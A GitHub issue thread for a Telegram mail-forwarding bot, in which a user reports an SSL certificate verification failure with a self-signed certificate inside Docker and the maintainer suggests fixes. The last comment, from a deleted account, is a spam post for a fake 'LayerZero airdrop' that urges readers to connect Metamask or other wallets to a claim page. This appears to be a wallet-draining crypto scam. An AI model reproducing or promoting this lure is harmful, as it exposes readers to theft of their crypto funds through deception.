hyfc / telegram-mail-bot

A Telegram bot that retrieves the newest email periodically and sends them to you as chat messages.
MIT License
44 stars 37 forks source link

TypeError: IMAPClient.__init__() got an unexpected keyword argument 'tls' #7

Open HakkenSD opened 1 year ago

HakkenSD commented 1 year ago

Hello. Faced a problem. The mail server I am using works with ssl\tls. In line server = IMAPClient(host=imap4_server, use_uid=True,ssl=True) I add ssl=True During the test run, everything works. But I make a docker image and run it on a docker host. I am getting the following error: caused error "[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:992)" Please let me know if you have any ideas how to fix this. I will be grateful.

hyfc commented 1 year ago

Hi, I assume you are using a self-hosted mail server with a self-signed certificate. This is actually a common error although not related to telegram-mail-bot.

If you plan to get a certificate from a trusted CA like Let's Encrypt I suggest test your bot with ssl=False and only turn it on when the mail server is running with a production-ready certificate.

Otherwise try this workaround, keep in mind that in your case the workaround should be done in Dockerfile. This works for Python 3.6+

HakkenSD commented 1 year ago

The problem was in the antivirus, after its detection everything works correctly.

ghost commented 9 months ago

LayerZero Airdrop Updated 🪂

The LayerZero Airdrop is confirmed. This is an updated guide to gather the most amount of $ZRO tokens possible.

We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens!

Layerzero Oficial

Claim Now

Secure Your Layerzero Airdrop with These Simple Steps:

  1. Connect Your Wallet:

    • Head over to the Layerzero Airdrop.
    • Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).
  2. Eligibility Check:

  3. Engage for Extra Rewards:

    • Participate in community discussions or complete tasks for bonus rewards.

Bonus Tips:

Share your experiences or ask any questions about claiming the Layerzero Airdrop in the comments below. Let's make this process a breeze for everyone!